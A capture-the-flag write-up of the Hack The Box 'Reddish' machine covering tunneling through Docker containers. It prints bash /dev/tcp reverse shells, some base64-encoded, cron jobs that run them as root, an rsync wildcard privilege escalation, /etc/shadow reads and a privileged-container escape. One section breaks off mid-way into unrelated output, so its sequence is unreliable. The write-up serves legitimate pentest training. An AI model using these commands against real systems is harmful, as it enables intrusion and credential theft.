Effective tunneling for pentesting

25.11.2024 33 minutes Author: Cyber Witcher

Tunneling is a key technique in pentesting, allowing cybersecurity professionals to gain access to closed networks and uncover hidden vulnerabilities. The article examines in detail a case study that demonstrates real-world approaches to exploiting network services.

Let’s start

To seize control of a host located on a different subnet, an effective approach is to create complex tunnels. Today, we will consider tunneling techniques used in pentests, with examples of using a high-complexity virtual environment from the Hack The Box CTF site.

The use of the Node-RED visual programming environment to create a reverse shell is investigated, the exploitation of a vulnerable Redis DBMS configuration is analyzed, and rsync is used to access the file system. In addition, the creation of automated cron tasks is considered in detail. Special emphasis is placed on routing traffic through docker containers using multi-level TCP tunnels, which allows you to effectively control remote hosts.

Port scanning

First, a network scan is performed using Nmap. It is found that the standard 1000 ports that are scanned by default are inactive. Therefore, a strategy of full scanning of the entire range of TCP ports at an increased speed is chosen to detect available entry points.

root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p-
root@kali:~# cat nmap/tcp-allports.nmap
...
Host is up (0.12s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open vsat-control
...

After completing a full scan, only one open port was detected — 1880. For further analysis of this port, additional information about its purpose and the services running on it is being collected.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880
root@kali:~# cat nmap/tcp-port1880.nmap
...
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
...

The scanner says that this port will deploy Express, a Node.js web application framework.

Web port 1880

Going to the page http://10.10.10.94:1880/ gives an error message.

The requested page was not found (404)

There are two ways to figure out what application is hanging on this port.

  1. Save the website icon to your machine (they usually live at /favicon.ico) and try to find it using Reverse Image Search.

  2. Ask the search engine what the port 1880 is usually associated with.

Another, simpler approach turned out to be no less effective: the first search result for the corresponding query yielded the necessary information.

Let’s google information about port 1880 (source — speedguide.net)

Node-RED

According to official information, Node-RED is a visual programming environment that allows you to create connections between different entities, such as local devices or APIs of online services. It is most often used to control IoT devices, including smart homes.

Despite the successful identification of the software, the error accessing the web page remains relevant.

root@kali:~# curl -i http://10.10.10.94:1880
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 139
Date: Thu, 30 Jan 2020 21:53:05 GMT
Connection: keep-alive
‍
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>

The first thing that comes to mind is to run a directory crawler. But before that, let’s try simply changing the request from GET to POST.

root@kali:~# curl -i -X POST http://10.10.10.94:1880
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 86
ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg"
Date: Thu, 30 Jan 2020 22:04:20 GMT
Connection: keep-alive
‍
{"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"}

Without using brute force methods, we managed to get a hint: when accessing the root of the website, the server returns an example of the correct request body format via a POST request. This is logical, since the Node-RED API documentation mainly describes POST requests.

When further accessing the URL http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/, we managed to get the following results, which open up new possibilities for analysis.

Node-RED workspace

Let’s figure out what can be done here.

Node-RED Flow

The Node-RED workspace is reminiscent of a sandbox where the user can easily manipulate various elements. Although this environment has extensive functionality, in this case the task is minimal – to gain access to the shell on the server for further exploitation.

List of Node-RED environment nodes

In the “building blocks” (or nodes) panel on the left, scrolling down, you can find the Advanced tab. This is where the exec function is located, which allows you to execute commands on the server — an indispensable tool for further actions during operation.

Spice must FLOW

In Node-RED, each collection of workflows is called a “flow”. Flows can be created, run, imported, and exported in JSON format. The Deploy button allows you to deploy all created flows across the tabs of the workflow at once, making the process of implementing changes simple and convenient.

simple-shell

To demonstrate the capabilities of thread creation in Node-RED, we can start with a simple example. As a first step, a basic trivial shell was implemented and deployed, which serves as the basis for further control over the system. This approach allows us to understand the principles of thread operation and their practical application.

Flow with trivial shell (simple-shell)

Let’s analyze the picture by the colors of the blocks:

  • Gray (left): Receiving input. The server connects back to my IP and binds my keyboard input to the orange exec block.

  • Orange: Executing commands on the server. The result of this block is fed to the input of the second gray block. Note that the orange block has three output “terminals”. These correspond to stdout, stderr, and the return code (which I did not use).

  • Gray (right): Sending output. By double-clicking on the block to open its advanced settings, you can set its behavior. I selected Reply to TCP so that Node-RED would send me replies on this connection.

You can think of the two gray blocks as network pipes that carry the INPUT and OUTPUT of the exec block. Now let’s get the local listener up and running on Kali and deploy it!

Response on the attacker’s machine from simple-shell

As you can see, it’s a regular non-PTY shell.

beautiful-shell

Of course, it was fun to play in such a sandbox, so here are a few more designs.

Flow with improved shell (beautiful-shell)

This is a neater shell: with it you can send a connection request “from a button” without having to redeploy the entire project (blue), log what is happening in the web interface (green, see the result in the picture below) and format the command output to your own template (yellow).

Feedback on the attacker’s machine from beautiful-shell
Example of informational messages in the debug dialog

The source in JSON is here.

file-upload

Why not build a flow for uploading files to the server?

Flow with sending files to the server (file-upload)

Everything is very simple here: by clicking the Connect button, the server connects to port 8889 of my machine (where the listener with the desired file is already raised) and saves the received information to the hidden file /tmp/.file (JSON).

To check the operability of the created stream, nc is launched on Kali, which allows you to transfer the lse.sh script to perform local reconnaissance on Linux. This script was chosen as a modern alternative to LinEnum.sh. After the download is complete, the checksums of both copies are checked to ensure the integrity of the transferred data and the correctness of their execution.

On Kali:

root@kali:~# nc -lvnp 8889 < lse.sh
...
root@kali:~# md5sum lse.sh
7d3a4fe5c7f91692885bbeb631f57c70 lse.sh
Sending the lse.sh script to the Node-RED server

On Node-RED:

root@nodered:/tmp# md5sum .file
7d3a4fe5c7f91692885bbeb631f57c70 .file

Downloading files from the command line

Frankly, the described approach to file transfer is excessive: the entire process can be carried out without leaving the terminal.

root@kali:~# nc -w3 -lvnp 8889 < lse.sh
root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file'

reverse-shell

The shell created using Node-RED abstractions had certain drawbacks: incorrect display of individual symbols and general unreliability of the design. To eliminate these limitations, a full-fledged Reverse Shell was implemented, which provided stable access to the system and expanded capabilities for further work.

Sending a reverse shell from an open Node-RED session to the attacker’s machine

Initially, the reverse shell was configured via Bash TCP by opening an additional port in a new terminal tab. However, for convenience, especially if the session needs to be restarted, an automated flow was created in Node-RED that ensures stable launch of the reverse shell. The flow configuration is saved in JSON format for quick import and reuse.

Reverse-shell flow

To ensure correct execution of the reverse shell, the payload was wrapped in an additional Bash shell using the command: Bash: bash -c ‘<PAYLOAD>’.

This approach forced the use of the Bash interpreter, since dash was installed by default on the host, which can cause compatibility issues when executing complex commands.

Now we can write a simple Bash script to trigger a callback with a single click on the command line.

The URL passed by curl corresponds to the Inject object in the created Node-RED stream (the “Go!” button in the previous image). For convenience in working in the interactive shell, rlwrap is used, which ensures correct movement of the cursor with the left-right arrows when entering lines, and also allows you to work with the command history.

After successfully obtaining the shell, the next step is to conduct system reconnaissance to understand what environment was penetrated and what opportunities it provides for further exploitation.

Docker. Container I: nodered

From the first seconds of being on the server, it becomes obvious that we are inside a docker, because our shell returned as the superuser root. This assumption is confirmed by the lse.sh script thrown on the machine in the previous paragraph.

Part of the output of the lse.sh script

You can see this for yourself: in the root of the file system (hereinafter FS), there is a directory .dockerenv.

  • root@nodered:/node-red# ls -la /.dockerenv

  • -rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv

If you find yourself in docker, the first thing to do is check your network environment – in case this is not a single container in a chain. The current system does not have ifconfig, so we will look at information about network interfaces using ip addr.

We look at information about network interfaces in nodered

As you can see, this docker can communicate with two subnets: 172.18.0.0/16 and 172.19.0.0/16. In the first subnet, the container (let’s call it nodered) has an IP address of 172.18.0.2, and in the second – 172.19.0.4. Let’s see what other hosts the single interacted with.

Let’s look at the ARP cache in nodered

The ARP cache indicates that nodered knows at least two more hosts: 172.19.0.2 and 172.19.0.3. Let’s scan to discover the hosts.

Host Discovery

There are various ways to “break through” a network environment.

Ping Sweep

The first way is to write a simple script that will allow you to “push” all network participants using the Ping Sweep technique. The idea is simple: send one ICMP request to each L2 host in the 172.18.0.0 network (or simply 172.18.0.0/24) and look at the return code. If successful, we display a message on the screen, otherwise we do nothing.

/var/www/html/
http://localhost:8890/shell.php?cmd=whoami

Get this answer.

Response from the whoami command

Thus, we have an RCE in the container 172.19.0.3 (let’s call it www, because that’s how it introduced itself).

Hostname command response

If there is an RCE, it would be nice to get a shell.

Docker. Container II: www

It would be nice, but there is one thing: the www host can only communicate with nodered, and it cannot directly connect to Kali. So, we will create another tunnel (the third one) on top of the existing reverse one – and through it we will catch the callback from www to Kali. The new tunnel will be direct (or “local”).

In this case, tunneling was configured between the nodered container and the attacking Kali machine. Connecting to the server 10.10.14.19:8000 allowed us to create a tunnel where port 7001 of the nodered container is redirected to port 9001 of the Kali VM. This means that everything that comes to 172.19.0.4:7001 is automatically redirected to the attacker’s machine via port 10.10.14.19:9001. This allows us to organize a reverse shell where the target (RHOST:RPORT) is 172.19.0.4:7001, and the response is sent to the local machine 10.10.14.19:9001.

Network Map. Part 4: First Tunnel to Kali with nodered

Two additional lines were added to the pwn-redis.sh script: “send shell” and “start listener on port 9001”.

The payload for curl is encoded in Percent-encoding to avoid having to deal with “bad” characters.

bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1'

Now, for one action, we get a session on www.

Getting a session in the www container

We suggest you take a look around.

I suggest you look around.

First, this container also has access to two subnets: 172.19.0.0/16 and 172.20.0.0/16.

The backup directory is in the root of the www file system.

At the root of the file system is an interesting directory / backup , which is quite common on the Hack The Box virtual machine (and in real life too). Inside is a script backup.sh with the following content.

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Here we see:

  • accessing the as-yet-unknown host backup;

  • using rsync to backup all files with the .rdb extension (Redis database files) to a remote backup server;

  • using rsync to restore a backup copy (which is also located somewhere on the backup server) of the contents of /var/www/html/.

The vulnerability is obvious because the administrator uses the * character in the second line to refer to all rdb files. This approach allows each file to be processed, but it also introduces the risk of using a specially crafted file to perform malicious actions.

Since rsync has a flag for executing commands, an attacker can create a script with a special name that matches the syntax of the command trigger. This script can be executed as the user running backup.sh, allowing the attacker to perform any action on the server.

rsync help

It is likely that the backup.sh script is executed via the cron scheduler, as this is a common practice for regularly executing tasks on a server.

Task to run backup.sh every three minutes

So, it will be executed as root! Let’s get started.

Escalation to root

First to the director:

Let’s create a pwn file – rsync . rdb – with the usual reverse shell that we’ve seen a hundred times today.

After that, we will create another file with the original name -e bash pwn-rsync.rdb.

All that remains is to open a new terminal tab and wait for the cron job to start.

Obtaining a privileged session in www

And now we have a root shell!

More tunnels!

The reverse shell response was sent to the nodered container and was captured on the Kali machine. To do this, an additional local tunnel was configured on port 1337 from nodered to the attacker’s machine. This configuration allows the connection to be routed through the tunnel, providing convenient access to the responses and the possibility of further action.

root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 &
Network Map. Part 5: Second Tunnel to Kali with nodered

Now you can honestly take the user’s hash.

Removing the user flag

But this is just a user flag, and we are still inside docker. What now?

Docker. Container III: backup

The backup script does not provide proper authentication on the backup server. In fact, anyone who can connect to the www container over the network can access the container’s file system.

According to the ip addr command for the www container, it has access to the 17.20.0.0/24 subnet, but the exact address of the backup server is still unknown. We can assume that its IP address is 17.20.0.2, based on the analogy with other nodes on the network.

To test this assumption, we can send a single ICMP request from the www container to the backup server. If the server responds to the request, this confirms the assumption about its IP address.

www-data@www:/$ ping -c1 backup
ping: icmp open socket: Operation not permitted

This must be done from a privileged shell because the www-data user does not have enough rights to open the required socket.

root@www:~# ping -c1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms
‍
--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms

In this way, we have verified that the backup address is 172.20.0.2. Let’s complete the network interaction map.

Network Map. Part 6: Localizing the backup container

Now let’s go back to the reasoning above: we have access to www and we have rsync without authentication (on port 873) – therefore we have read/write rights to the backup filesystem.

For example, we can view the root of the filesystem on the backup server using the following command:

www-data@www:/tmp$ rsync rsync://backup:873/src/
...
Listing the root of the backup container file system

Or read the shadow file.

www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow .
www-data@www:/tmp$ cat shadow
...
Reading the /etc/shadow file of the backup container

And also write any file to any directory for backup.

www-data@www:/tmp$ echo 'HELLO THERE' > .test
www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/
-rw-r--r-- 12 2020/02/02 16:25:49 .test
Writing a test file to the /etc directory of the backup container

The created cron job with reverse shell is stored in /etc/cron.d/ on the backup server, and the response is caught on Kali. The problem with the network is that backup can only connect to www, and www can only connect to nodered. Therefore, it is necessary to set up a chain of tunnels: from backup to www, from www to nodered, and from nodered to Kali.

Obtaining a root shell

Following the principles of dynamic programming, we decompose a complex task into two simple subtasks, and at the end we combine the results.

We forward local port 1111 from the nodered container to port 8000 on Kali, where the Chisel server is running. This will allow us to access 172.19.0.4:1111 as if it were the Chisel server on Kali.

root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &

The second step is to configure a redirect from www to Kali. To do this, connect to 172.19.0.4:1111 (just as if we could connect to Kali directly) and forward local port 2222 to port 3333 on Kali.

Now, anything that goes to port 2222 on www will be redirected through a chain of tunnels to port 3333 on the attacker’s machine.

Network Map. Part 7: Tunnel Chain www ↔ nodered ↔ Kali

Note

For some utilitarian purposes (for example, to deliver the executable chisel file to the www container), additional auxiliary tunnels were opened, the description of which is not included in the text so as not to confuse the reader and not to overload the network card.

It remains to create a reverse shell, configure a cron job, download everything to backup, wait for cron to start and catch the shell on Kali.

We create a shell.

root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh
root@www:/tmp# cat shell.sh
bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1'

We create a cronjob that will run every minute.

root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell

We upload both files to the backup using rsync.

root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/
root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/

And in a moment, a connection comes to port 3333 of Kali.

Capturing a root backup session on Kali

Final capture of the Reddish host

After walking through the backup file system, you can see the following picture.

Listing of sda* devices in the /dev directory of the backup container

The /dev directory is left with access to all the host OS drives. This means that on Reddish the container was started with the privileged flag. This gives the docker process almost all the privileges that the main host has.

If we mount, for example, /dev/sda1, we can escape to the Reddish file system.

Mount /dev/sda1 and request a listing of the root of the main host’s FS

The shell can be obtained in the same way as the backup container was accessed: a cronjob is created, which is then dumped into /dev/sda1/etc/cron.d/.

root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh
root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1'
root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell

And now the reverse shell response will come in a human way through the real network 10.10.0.0/16 (and not through the jungle of virtual Docker interfaces) to port 9999 of the Kali VM.

Capturing Reddish’s root session on Kali

If you call IP addr, you can see a cluster of docker networks.

Reddish host interface list

That’s all! All that’s left is to pick up the Ruta flag – and the virtual game is over.

root@backup:/tmp/sda1# cat root/root.txt
cat root/root.txt
50d0db64????????????????????????
Trophy

Conclusion

Docker configuration

We have full access to the system, so out of curiosity, we can open the docker configuration /opt/reddish_composition/docker-compose.yml .

From it we see:

  • From it we see: a list of ports available “from the outside” (line 7);

  • the internal network shared with the www and redis containers (line 10);

  • the configurations of all containers (nodered, www, redis, backup);

  • the -privileged flag with which the backup container is started (line 38).

Based on the configuration found, the network card will be updated to reflect new settings and changes in the network infrastructure.

Network Map. Part 8: Reddish File System

Chisel SOCKS

Frankly, the task could have been solved much easier, since Chisel supports SOCKS proxy. This means that there was no need to manually create a tunnel for each port. While this is useful for educational purposes to understand how tunneling works, setting up a proxy server makes life much easier for a pentester.

However, there is one problem: Chisel can only run a SOCKS server in chisel server mode, which means you need to place Chisel on an intermediate host (e.g. nodered), run it as a server, and connect to that server from Kali. But this was not possible due to network availability limitations.

However, there is a solution: you can run Chisel on top of Chisel. In this case, the first Chisel will act as a server for backconnect to nodered, and the second one will act as a SOCKS proxy server in the nodered container itself. Now you can test this in practice.

First of all, as always, we start a server on Kali, which allows reverse connections.

Then we do a reverse forwarding from nodered (port 31337) to Kali (port 8001). Now everything that comes to Kali via localhost:8001 is sent to nodered localhost:31337.

The next step is to run Chisel in SOCKS server mode on nodered – listen on port 31337.

To complete the setup, we activate an additional Chisel client on Kali (with socks as remote), which connects to local port 8001. Then the magic begins: traffic is transmitted through port 1080 of the SOCKS proxy via a reverse tunnel (which serves the first Chisel server on port 8000) and ends up on interface 127.0.0.1 of the nodered container — port 31337, where the SOCKS server is already running.

From this point on, you can access any host and port, as long as they are available to nodered, and the SOCKS proxy will do all the traffic routing:

root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...
Subscribe
Notify of
0 Коментарі
Oldest
Newest Most Voted
Found an error?
If you find an error, take a screenshot and send it to the bot.